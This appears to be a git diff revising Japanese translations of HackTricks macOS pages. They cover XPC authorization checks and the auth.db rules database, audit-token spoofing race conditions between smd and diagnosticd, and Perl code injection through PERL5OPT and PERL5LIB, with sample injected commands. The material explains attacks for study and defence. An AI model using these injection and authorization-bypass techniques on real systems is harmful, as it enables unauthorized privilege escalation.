`HelperTool/HelperTool.m`の関数**`readLicenseKeyAuthorization`**は、**そのようなメソッドを実行する**権限があるかどうかをチェックします。これは**`checkAuthorization`**関数を呼び出すことで行われます。この関数は、呼び出し元プロセスが送信した**authData**が**正しい形式**であるかどうかをチェックし、その後、特定のメソッドを呼び出す権限を取得するために**何が必要かを確認**します。すべてがうまくいくと、**返される`error`は`nil`になります**。
|
||||
```objectivec
|
||||
- (NSError *)checkAuthorization:(NSData *)authData command:(SEL)command
|
||||
{
|
||||
|
@ -240,37 +240,35 @@ assert(junk == errAuthorizationSuccess);
|
|||
return error;
|
||||
}
|
||||
```
|
||||
注意してください。そのメソッドを呼び出す権限を取得するための要件を**チェックするには**、関数`authorizationRightForCommand`は単に以前にコメントされたオブジェクト**`commandInfo`**をチェックします。その後、関数を呼び出します**`AuthorizationCopyRights`** その関数を呼び出す権限があるかどうかを確認するために(フラグがユーザーとのやり取りを許可することに注意してください)。
|
||||
注意してください。そのメソッドを呼び出す権限を確認するには、`authorizationRightForCommand` 関数は単に以前にコメントされたオブジェクト `commandInfo` をチェックします。その後、関数を呼び出す権限があるかどうかをチェックするために `AuthorizationCopyRights` を呼び出します(フラグがユーザーとのやり取りを許可することに注意してください)。
|
||||
|
||||
この場合、関数`readLicenseKeyAuthorization`を呼び出すには、`kCommandKeyAuthRightDefault`が`@kAuthorizationRuleClassAllow`に定義されています。したがって、**誰でもそれを呼び出すことができます**。
|
||||
この場合、`readLicenseKeyAuthorization` 関数を呼び出すには、`kCommandKeyAuthRightDefault` が `@kAuthorizationRuleClassAllow` に定義されています。そのため、**誰でもそれを呼び出すことができます**。
|
||||
|
||||
### データベース情報
|
||||
|
||||
この情報は`/var/db/auth.db`に保存されていると言及されています。次のコマンドで保存されているすべてのルールをリストアップできます:
|
||||
この情報は `/var/db/auth.db` に保存されていると言及されています。以下のコマンドで保存されているすべてのルールをリストアップできます:
|
||||
```sql
|
||||
sudo sqlite3 /var/db/auth.db
|
||||
SELECT name FROM rules;
|
||||
SELECT name FROM rules WHERE name LIKE '%safari%';
|
||||
```
|
||||
その後、誰が権限にアクセスできるかを確認できます:
|
||||
その後、次のようにして誰が権限にアクセスできるかを確認できます:
|
||||
```bash
|
||||
security authorizationdb read com.apple.safaridriver.allow
|
||||
```
|
||||
### 許可権
|
||||
|
||||
**すべての権限構成**は[こちら](https://www.dssw.co.uk/reference/authorization-rights/)で見つけることができますが、ユーザーの操作が必要ない組み合わせは以下の通りです:
|
||||
**すべての権限構成**は[こちら](https://www.dssw.co.uk/reference/authorization-rights/)で見つけることができますが、ユーザーの操作が必要ない組み合わせは次のとおりです:
|
||||
|
||||
1. **'authenticate-user': 'false'**
|
||||
* これは最も直接的なキーです。`false`に設定されている場合、ユーザーはこの権利を得るために認証を提供する必要はありません。
|
||||
* これは、**以下のいずれかと組み合わせるか、ユーザーが所属するグループを示す**ために使用されます。
|
||||
* これは最も直接的なキーです。`false`に設定されている場合、ユーザーはこの権利を得るために認証を提供する必要がありません。
|
||||
* これは、**以下の2つのいずれかと組み合わせるか、ユーザーが所属するグループを示す**ために使用されます。
|
||||
2. **'allow-root': 'true'**
|
||||
* ユーザーがルートユーザーとして操作しており(昇格された権限を持つ)、かつこのキーが`true`に設定されている場合、ルートユーザーは追加の認証なしでこの権利を取得できる可能性があります。ただし、通常、ルートユーザーの状態に到達するにはすでに認証が必要なので、ほとんどのユーザーにとってこれは「認証なし」のシナリオではありません。
|
||||
3. **'session-owner': 'true'**
|
||||
* `true`に設定されている場合、セッションの所有者(現在ログインしているユーザー)は自動的にこの権利を取得します。ユーザーがすでにログインしている場合、これにより追加の認証がバイパスされる可能性があります。
|
||||
* `true`に設定されている場合、セッションの所有者(現在ログインしているユーザー)は自動的にこの権利を取得します。ユーザーがすでにログインしている場合、追加の認証をバイパスする可能性があります。
|
||||
4. **'shared': 'true'**
|
||||
* このキーは認証なしで権利を付与しません。代わりに、`true`に設定されている場合、権利が認証されると、各プロセスが再認証する必要なく複数のプロセス間で共有できることを意味します。ただし、権利の最初の付与には、他のキーと組み合わせない限り、認証が必要です。 `'authenticate-user': 'false'`のような他のキーと組み合わせない限り、認証が必要です。
|
||||
|
||||
興味深い権利を取得するには、[**このスクリプト**](https://gist.github.com/carlospolop/96ecb9e385a4667b9e40b24e878652f9)を使用できます。
|
||||
* このキーは認証なしで権利を付与しません。代わりに、`true`に設定されている場合、権利が認証されると、各プロセスが再認証する必要なく複数のプロセス間で共有できることを意味します。ただし、権利の最初の付与には引き続き認証が必要です(`'authenticate-user': 'false'`などの他のキーと組み合わせていない限り)。
|
||||
```bash
|
||||
Rights with 'authenticate-user': 'false':
|
||||
is-admin (admin), is-admin-nonshared (admin), is-appstore (_appstore), is-developer (_developer), is-lpadmin (_lpadmin), is-root (run as root), is-session-owner (session owner), is-webdeveloper (_webdeveloper), system-identity-write-self (session owner), system-install-iap-software (run as root), system-install-software-iap (run as root)
|
||||
|
@ -287,11 +285,11 @@ authenticate-session-owner, authenticate-session-owner-or-admin, authenticate-se
|
|||
|
||||
関数 **`[HelperTool checkAuthorization:command:]`** を見つけた場合、おそらくプロセスは認可のために以前に言及したスキーマを使用しています:
|
||||
|
||||
<figure><img src="../../../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
この関数が `AuthorizationCreateFromExternalForm`、`authorizationRightForCommand`、`AuthorizationCopyRights`、`AuhtorizationFree` などの関数を呼び出している場合、[**EvenBetterAuthorizationSample**](https://github.com/brenwell/EvenBetterAuthorizationSample/blob/e1052a1855d3a5e56db71df5f04e790bfd4389c4/HelperTool/HelperTool.m#L101-L154) を使用しています。
|
||||
|
||||
特権アクションをユーザーの操作なしに呼び出す権限を取得できるかどうかを確認するために **`/var/db/auth.db`** をチェックしてください。
|
||||
特権アクションをユーザーの操作なしに呼び出す権限を取得できるかどうかを確認するために、**`/var/db/auth.db`** をチェックしてください。
|
||||
|
||||
### プロトコル通信
|
||||
|
||||
|
@ -299,7 +297,7 @@ authenticate-session-owner, authenticate-session-owner-or-admin, authenticate-se
|
|||
|
||||
関数 **`shouldAcceptNewConnection`** はエクスポートされているプロトコルを示しています:
|
||||
|
||||
<figure><img src="../../../../../.gitbook/assets/image (3) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
この場合、EvenBetterAuthorizationSample と同じものがあります、[**この行をチェック**](https://github.com/brenwell/EvenBetterAuthorizationSample/blob/e1052a1855d3a5e56db71df5f04e790bfd4389c4/HelperTool/HelperTool.m#L94)。
|
||||
|
||||
|
@ -319,11 +317,11 @@ class-dump /Library/PrivilegedHelperTools/com.example.HelperTool
|
|||
```
|
||||
最後に、それと通信を確立するために**公開された Mach サービスの名前**を知る必要があります。これを見つけるためのいくつかの方法があります:
|
||||
|
||||
* **`[HelperTool init]`**内で使用されているMachサービスが表示される場所:
|
||||
* **`[HelperTool init]`** で使用されている Mach サービスが表示される場所:
|
||||
|
||||
<figure><img src="../../../../../.gitbook/assets/image (4) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../../../.gitbook/assets/image (4) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
* launchdのplist内:
|
||||
* launchd の plist ファイル内:
|
||||
```xml
|
||||
cat /Library/LaunchDaemons/com.example.HelperTool.plist
|
||||
|
||||
|
@ -421,20 +419,20 @@ NSLog(@"Response: %@", error);
|
|||
NSLog(@"Finished!");
|
||||
}
|
||||
```
|
||||
## 参考文献
|
||||
## 参考
|
||||
|
||||
* [https://theevilbit.github.io/posts/secure\_coding\_xpc\_part1/](https://theevilbit.github.io/posts/secure\_coding\_xpc\_part1/)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>htARTE(HackTricks AWS Red Team Expert)</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>を通じてゼロからヒーローまでAWSハッキングを学ぶ</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricks をサポートする他の方法:
|
||||
|
||||
* **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい** 場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください!
|
||||
* [**公式PEASS&HackTricksスウォッグ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)、当社の独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) コレクションを発見する
|
||||
* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)** に参加するか、[telegramグループ](https://t.me/peass) に参加するか、**Twitter** 🐦 で **@carlospolopm** をフォローする。
|
||||
* **HackTricks** と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) の GitHub リポジトリに PR を提出して、あなたのハッキングテクニックを共有してください。
|
||||
* [**公式PEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つける
|
||||
* 💬 [**Discord グループ**](https://discord.gg/hRep4RUj7f) または [**telegram グループ**](https://t.me/peass) に **参加** するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live) を **フォロー** してください。
|
||||
* **HackTricks** と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) の GitHub リポジトリに PR を提出して、あなたのハッキングトリックを共有してください。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,15 +2,15 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE(HackTricks AWS Red Team Expert)</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>でAWSハッキングをゼロからヒーローまで学ぶ</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>htARTE(HackTricks AWS Red Team Expert)</strong>を通じてゼロからヒーローまでAWSハッキングを学びましょう!</summary>
|
||||
|
||||
HackTricks をサポートする他の方法:
|
||||
|
||||
* **HackTricks で企業を宣伝したい**または **HackTricks をPDFでダウンロードしたい**場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェック!
|
||||
* [**公式PEASS&HackTricksスウォッグ**](https://peass.creator-spring.com)を入手
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
|
||||
* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)をフォローする。
|
||||
* **ハッキングトリックを共有する**ために、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出する。
|
||||
- **HackTricks で企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
- [**公式PEASS&HackTricksスウォッグ**](https://peass.creator-spring.com)を入手する
|
||||
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションを見つける
|
||||
- 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)をフォローする。
|
||||
- **ハッキングトリックを共有するために** [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出する。
|
||||
|
||||
</details>
|
||||
|
||||
|
@ -24,9 +24,8 @@ Machメッセージが何かわからない場合は、このページをチェ
|
|||
[macos-ipc-inter-process-communication](../../../../mac-os-architecture/macos-ipc-inter-process-communication/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
今のところ、([ここからの定義](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing)):
|
||||
|
||||
Machメッセージは _mach port_ を介して送信され、これは machカーネルに組み込まれた **単一の受信者、複数の送信者通信** チャネルです。 **複数のプロセスが mach port にメッセージを送信**できますが、いつでも **単一のプロセスだけがそれを読む**ことができます。 ファイルディスクリプタやソケットと同様に、mach port はカーネルによって割り当てられ管理され、プロセスは整数しか見ません。これを使用して、カーネルに使用する mach port を示すことができます。
|
||||
今のところ、([ここからの定義](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing)):\
|
||||
Machメッセージは_machポート_を介して送信され、これは**単一の受信者、複数の送信者通信**チャネルで、machカーネルに組み込まれています。**複数のプロセスが** machポートにメッセージを送信できますが、いつでも**単一のプロセスだけが**それから読み取ることができます。ファイルディスクリプタやソケットと同様に、machポートはカーネルによって割り当てられ管理され、プロセスは整数しか見ません。これを使用して、カーネルに使用するmachポートを示すことができます。
|
||||
|
||||
## XPC接続
|
||||
|
||||
|
@ -40,52 +39,52 @@ XPC接続がどのように確立されるかわからない場合は、次を
|
|||
|
||||
あなたが知っておくべき興味深い点は、**XPCの抽象化は1対1の接続**であるが、**複数の送信者を持つ技術**に基づいているということです:
|
||||
|
||||
* Machポートは単一の受信者、**複数の送信者**です。
|
||||
* XPC接続の監査トークンは、**最後に受信したメッセージからコピー**されます。
|
||||
* XPC接続の **監査トークン** を取得することは、多くの **セキュリティチェック** にとって重要です。
|
||||
- Machポートは単一の受信者、**複数の送信者**です。
|
||||
- XPC接続の監査トークンは、**最後に受信したメッセージからコピーされた監査トークン**です。
|
||||
- XPC接続の**監査トークンを取得**することは、多くの**セキュリティチェック**にとって重要です。
|
||||
|
||||
前述の状況は有望に聞こえますが、問題を引き起こさないシナリオもいくつかあります ([ここから](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing)):
|
||||
前述の状況は有望に聞こえますが、問題を引き起こさないシナリオもあります ([ここから](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing)):
|
||||
|
||||
* 監査トークンは、接続を受け入れるかどうかを決定するための認可チェックによく使用されます。これはサービスポートへのメッセージを使用して行われるため、**接続はまだ確立されていません**。このポートへの追加のメッセージは、追加の接続要求として処理されます。したがって、**接続を受け入れる前のチェックは脆弱ではありません**(これは `-listener:shouldAcceptNewConnection:` 内でも監査トークンが安全であることを意味します)。したがって、**特定のアクションを検証する XPC 接続を探しています**。
|
||||
* XPCイベントハンドラは同期的に処理されます。つまり、1つのメッセージのイベントハンドラが完了する前に、次のメッセージのためにそれを呼び出す必要があります。したがって、**XPCイベントハンドラ内では、他の通常の(非応答)メッセージによって監査トークンを上書きすることはできません**。
|
||||
- 監査トークンは、接続を受け入れるかどうかを決定するための認可チェックによく使用されます。これはサービスポートへのメッセージを使用して行われるため、**接続はまだ確立されていません**。このポートへの追加のメッセージは、追加の接続要求として処理されます。したがって、**接続を受け入れる前のチェックは脆弱ではありません**(これは、`-listener:shouldAcceptNewConnection:`内で監査トークンが安全であることを意味します)。したがって、**特定のアクションを検証するXPC接続を探しています**。
|
||||
- XPCイベントハンドラは同期的に処理されます。つまり、1つのメッセージのイベントハンドラを呼び出す前に、次のメッセージのイベントハンドラを完了する必要があります。したがって、**XPCイベントハンドラ内では、監査トークンは他の通常の(返信でない!)メッセージによって上書きされることはありません**。
|
||||
|
||||
これが悪用される可能性がある2つの異なる方法:
|
||||
|
||||
1. Variant1:
|
||||
* **Exploit** がサービス **A** とサービス **B** に **接続**します
|
||||
* サービス **B** は、ユーザーができない **サービス A の特権機能** を呼び出すことができます
|
||||
* サービス **A** が **`dispatch_async`** 内で **`xpc_connection_get_audit_token`** を呼び出すとき、**イベントハンドラ内にいない**。
|
||||
* したがって、**異なる**メッセージが **監査トークンを上書き** する可能性があります。なぜなら、イベントハンドラの外部で非同期にディスパッチされているからです。
|
||||
* 悪用は **サービス A に対して SEND 権限をサービス B に渡します**。
|
||||
* したがって、svc **B** は実際にはサービス **A** に **メッセージを送信**します。
|
||||
* **悪用**は **特権アクションを呼び出そうとします**。RC svc **A** はこの **アクション** の認可をチェックし、**svc B が監査トークンを上書き** したため(悪用が特権アクションを呼び出す権限を与えられる)、アクセスできるようになります。
|
||||
- **Exploit**はサービス**A**とサービス**B**に**接続**します
|
||||
- サービス**B**は、ユーザーができない**サービスAの特権機能**を呼び出すことができます
|
||||
- サービス**A**は、**`dispatch_async`**内で**`xpc_connection_get_audit_token`**を呼び出す間、**イベントハンドラ内にいない**状態で**監査トークン**を取得します。
|
||||
- したがって、**異なる**メッセージが**監査トークンを上書き**する可能性があります。これは、イベントハンドラの外部で非同期にディスパッチされているためです。
|
||||
- Exploitは**サービスAに対してSEND権限をサービスBに渡します**。
|
||||
- したがって、svc **B**は実際にはサービス**A**に**メッセージを送信**します。
|
||||
- **Exploit**は**特権アクションを呼び出そうとします**。RC svc **A**はこの**アクション**の認可を**チェック**しますが、**svc Bが監査トークンを上書き**したため(悪用が特権アクションを呼び出す権限を与えられる)、悪用がアクションを呼び出す権限を得ることができます。
|
||||
2. Variant 2:
|
||||
* サービス **B** は、ユーザーができない **サービス A の特権機能** を呼び出すことができます
|
||||
* 悪用は、**サービス A** に接続し、特定の **リプライポート** で **応答を期待するメッセージ** を送信します。
|
||||
* 悪用は **サービス B** に **リプライポート** を渡すメッセージを送信します。
|
||||
* サービス **B が応答する**と、**悪用** は **サービス A に異なるメッセージを送信** し、特権機能に到達しようとし、サービス B からの応答が監査トークンを完璧なタイミングで上書きすることを期待します(競合状態)。
|
||||
- サービス**B**は、ユーザーができない**サービスAの特権機能**を呼び出すことができます
|
||||
- Exploitは、**サービスA**に接続し、特定の**リプライポート**で**応答を期待するメッセージ**を送信します。
|
||||
- Exploitは、**サービスB**に**そのリプライポート**を渡すメッセージを送信します。
|
||||
- サービス**Bが応答する**と、**サービスAにメッセージを送信**し、**悪用**は**サービスAに異なるメッセージを送信**し、特権機能に到達しようとし、サービスBからの返信が監査トークンを完璧なタイミングで上書きすることを期待します(競合状態)。
|
||||
|
||||
## Variant 1: イベントハンドラ外でxpc\_connection\_get\_audit\_tokenを呼び出す<a href="#variant-1-calling-xpc_connection_get_audit_token-outside-of-an-event-handler" id="variant-1-calling-xpc_connection_get_audit_token-outside-of-an-event-handler"></a>
|
||||
|
||||
シナリオ:
|
||||
|
||||
* サンドボックスプロファイルと接続を受け入れる前の認可チェックに基づいて、両方に接続できる2つの mach サービス **`A`** と **`B`**。
|
||||
* _**A**_ は、**`B`** が通過できる特定のアクションの **認可チェック** を持っている必要があります(ただし、アプリはできません)。
|
||||
* たとえば、Bにはいくつかの **権限** があるか **root** として実行されている場合、Aに特権アクションを実行するように要求することができます。
|
||||
* この認可チェックでは、**`A`** は、例えば `dispatch_async` から `xpc_connection_get_audit_token` を呼び出すことによって、監査トークンを非同期で取得します。
|
||||
- サンドボックスプロファイルと接続を受け入れる前の認可チェックに基づいて、両方に接続できる2つのmachサービス**`A`**と**`B`**。
|
||||
- _**A**_は、**`B`**が通過できる特定のアクションの**認可チェック**を持っている必要があります(ただし、アプリはできません)。
|
||||
- たとえば、Bにはいくつかの**権限**があるか、**root**として実行されている場合、Aに特権アクションを実行するように要求することができるかもしれません。
|
||||
- この認可チェックでは、**`A`**は、例えば`dispatch_async`から`xpc_connection_get_audit_token`を呼び出すことによって、監査トークンを非同期で取得します。
|
||||
|
||||
{% hint style="danger" %}
|
||||
この場合、攻撃者は **Race Condition** をトリガーし、**B が A にアクションを実行するように要求**する **悪用** を複数回実行し、**B が A にメッセージを送信**するようにします。RCが **成功する** と、**B** の **監査トークン** が **メモリにコピー** され、**悪用** のリクエストが **A によって処理される間** に、特権アクションにアクセスできるようになります。これは **B だけが要求できる特権アクション** にアクセスできるようになります。
|
||||
この場合、攻撃者は**Race Condition**をトリガーし、**`Aにアクションを実行するように要求するexploit**を複数回実行し、**BがAにメッセージを送信**するようにします。RCが**成功する**と、**B**の**監査トークン**が**メモリにコピー**され、**exploit**の**リクエスト**が**Aによって処理**される間に、特権アクションに**アクセス**できるようになります。
|
||||
{% endhint %}
|
||||
|
||||
これは、**`A`** が `smd` として、**`B`** が `diagnosticd` として発生しました。 smb の関数 [`SMJobBless`](https://developer.apple.com/documentation/servicemanagement/1431078-smjobbless?language=objc) は、新しい特権ヘルパーツール(**root** として)をインストールするために使用できます。 **root** として実行されているプロセスが **smd** に連絡を取ると、他のチェックは実行されません。
|
||||
これは、**`A`**が`smd`として、**`B`**が`diagnosticd`として発生しました。 smbの[`SMJobBless`](https://developer.apple.com/documentation/servicemanagement/1431078-smjobbless?language=objc)関数は、新しい特権ヘルパーツール(**root**として)をインストールするために使用できます。**root**として実行されるプロセスが**smd**に連絡すると、他のチェックは実行されません。
|
||||
|
||||
したがって、サービス **B** は **`diagnosticd`** であり、**root** として実行されているため、プロセスを監視するために使用できます。したがって、監視が開始されると、1秒あたり **複数のメッセージを送信** します。
|
||||
したがって、サービス**B**は**`diagnosticd`**であり、**root**として実行されるため、プロセスを監視するために使用できます。したがって、監視が開始されると、1秒あたり**複数のメッセージを送信**します。
|
||||
|
||||
攻撃を実行するには:
|
||||
|
||||
1. 標準のXPCプロトコルを使用して、`smd`という名前のサービスに**接続**を開始します。
|
||||
2. `diagnosticd` に二次 **接続** を形成します。通常の手順とは異なり、2つの新しい mach ポートを作成して送信するのではなく、クライアントポートの送信権限は、`smd` 接続に関連付けられた **送信権限** の複製で置き換えられます。
|
||||
2. `diagnosticd`に二次的な**接続**を形成します。通常の手順とは異なり、新しい2つのmachポートを作成して送信するのではなく、クライアントポートの送信権限は、`smd`接続に関連付けられた**送信権限**の複製で置き換えられます。
|
||||
3. その結果、XPCメッセージを`diagnosticd`にディスパッチできますが、`diagnosticd`からの応答は`smd`にリダイレクトされます。`smd`にとっては、ユーザーと`diagnosticd`からのメッセージが同じ接続から発信されているように見えます。
|
||||
|
||||
![攻撃プロセスを描いた画像](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/exploit.png)
|
||||
|
@ -112,25 +111,25 @@ XPC(クロスプロセス通信)環境では、イベントハンドラは
|
|||
|
||||
1. サービス **`A`** が返信を期待するメッセージを送信するのを待ちます。
|
||||
2. 直接 **`A`** に返信する代わりに、返信ポートを乗っ取り、サービス **`B`** にメッセージを送信します。
|
||||
3. その後、禁止されたアクションを含むメッセージが送信され、**`B`** からの返信と同時に処理されることが期待されます。
|
||||
3. その後、禁止されたアクションを含むメッセージが送信され、**`B`** の返信と同時に処理されることが期待されます。
|
||||
|
||||
以下は、説明された攻撃シナリオの視覚的表現です:
|
||||
|
||||
![https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/variant2.png](../../../../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png)
|
||||
|
||||
<figure><img src="../../../../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt="https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/variant2.png" width="563"><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/variant2.png" width="563"><figcaption></figcaption></figure>
|
||||
|
||||
## 発見の問題
|
||||
|
||||
* **インスタンスの特定の難しさ**: `xpc_connection_get_audit_token`の使用例を静的および動的に検索することは困難でした。
|
||||
* **方法論**: `xpc_connection_get_audit_token`関数をフックするためにFridaを使用し、イベントハンドラから発信されない呼び出しをフィルタリングしました。ただし、この方法はフックされたプロセスに限定され、アクティブな使用が必要でした。
|
||||
* **分析ツール**: IDA/Ghidraなどのツールを使用して到達可能なマッハサービスを調査しましたが、dyld共有キャッシュを含む呼び出しによって時間がかかり、複雑になりました。
|
||||
* **分析ツール**: IDA/Ghidraなどのツールを使用して到達可能なマッハサービスを調査しましたが、dyld共有キャッシュを含む呼び出しによって複雑化され、時間がかかりました。
|
||||
* **スクリプトの制限**: `dispatch_async`ブロックからの`xpc_connection_get_audit_token`への呼び出しを解析する試みは、ブロックの解析とdyld共有キャッシュとの相互作用の複雑さによって妨げられました。
|
||||
|
||||
## 修正 <a href="#the-fix" id="the-fix"></a>
|
||||
|
||||
* **報告された問題**: `smd`内で見つかった一般的および特定の問題について、Appleに報告が提出されました。
|
||||
* **Appleの対応**: Appleは、`smd`内の問題を解決するために、`xpc_connection_get_audit_token`を`xpc_dictionary_get_audit_token`で置き換えました。
|
||||
* **修正の性質**: `xpc_dictionary_get_audit_token`関数は、受信したXPCメッセージに関連付けられたマッハメッセージから監査トークンを直接取得するため、安全であると見なされます。ただし、これは`xpc_connection_get_audit_token`と同様に公開APIの一部ではありません。
|
||||
* **より包括的な修正の不在**: Appleが接続の保存された監査トークンと一致しないメッセージを破棄するなど、より包括的な修正を実装しなかった理由は明確ではありません。特定のシナリオ(たとえば、`setuid`の使用)で正当な監査トークンの変更が可能である可能性があることが要因かもしれません。
|
||||
* **修正の性質**: `xpc_dictionary_get_audit_token`関数は、受信したXPCメッセージに関連付けられたマッハメッセージから監査トークンを直接取得するため、安全と見なされます。ただし、`xpc_connection_get_audit_token`と同様に、これは公開APIの一部ではありません。
|
||||
* **より包括的な修正の欠如**: Appleが接続の保存された監査トークンと一致しないメッセージを破棄するなど、より包括的な修正を実装しなかった理由は明確ではありません。特定のシナリオ(たとえば、`setuid`の使用)で正当な監査トークンの変更が可能である可能性があることが要因かもしれません。
|
||||
* **現在の状況**: 問題はiOS 17およびmacOS 14で依然として存在し、それを特定し理解しようとする人々にとって課題となっています。
|
||||
|
|
|
@ -2,15 +2,15 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE(HackTricks AWS Red Team Expert)</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>でAWSハッキングをゼロからヒーローまで学ぶ</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>**htARTE(HackTricks AWS Red Team Expert)**でAWSハッキングをゼロからマスターしましょう!</strong></summary>
|
||||
|
||||
HackTricksをサポートする他の方法:
|
||||
|
||||
- **HackTricksで企業を宣伝したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
- [**公式PEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を入手する
|
||||
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
|
||||
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**または[telegramグループ](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)で**フォロー**する。
|
||||
- **ハッキングテクニックを共有するために、[HackTricks](https://github.com/carlospolop/hacktricks)と[HackTricks Cloud](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
|
||||
- [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手する
|
||||
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける
|
||||
- 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)で**フォロー**する。
|
||||
- **ハッキングテクニックを共有するために、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出してください。**
|
||||
|
||||
</details>
|
||||
|
||||
|
@ -26,7 +26,7 @@ print "Hello from the Perl script!\n";
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
次に、**環境変数をエクスポート**して**perl**スクリプトを実行します:
|
||||
次に、**環境変数をエクスポート**して、**perl**スクリプトを実行します:
|
||||
```bash
|
||||
export PERL5OPT='-Mwarnings;system("whoami")'
|
||||
perl test.pl # This will execute "whoami"
|
||||
|
@ -42,7 +42,7 @@ system('whoami');
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
そして、環境変数を使用します:
|
||||
その後、環境変数を使用します:
|
||||
```bash
|
||||
PERL5LIB=/tmp/ PERL5OPT=-Mpmod
|
||||
```
|
||||
|
@ -52,7 +52,7 @@ Perlを実行している際に、依存関係フォルダの順序をリスト
|
|||
```bash
|
||||
perl -e 'print join("\n", @INC)'
|
||||
```
|
||||
次のようになります:
|
||||
次のように返されます:
|
||||
```bash
|
||||
/Library/Perl/5.30/darwin-thread-multi-2level
|
||||
/Library/Perl/5.30
|
||||
|
@ -64,16 +64,30 @@ perl -e 'print join("\n", @INC)'
|
|||
/System/Library/Perl/Extras/5.30/darwin-thread-multi-2level
|
||||
/System/Library/Perl/Extras/5.30
|
||||
```
|
||||
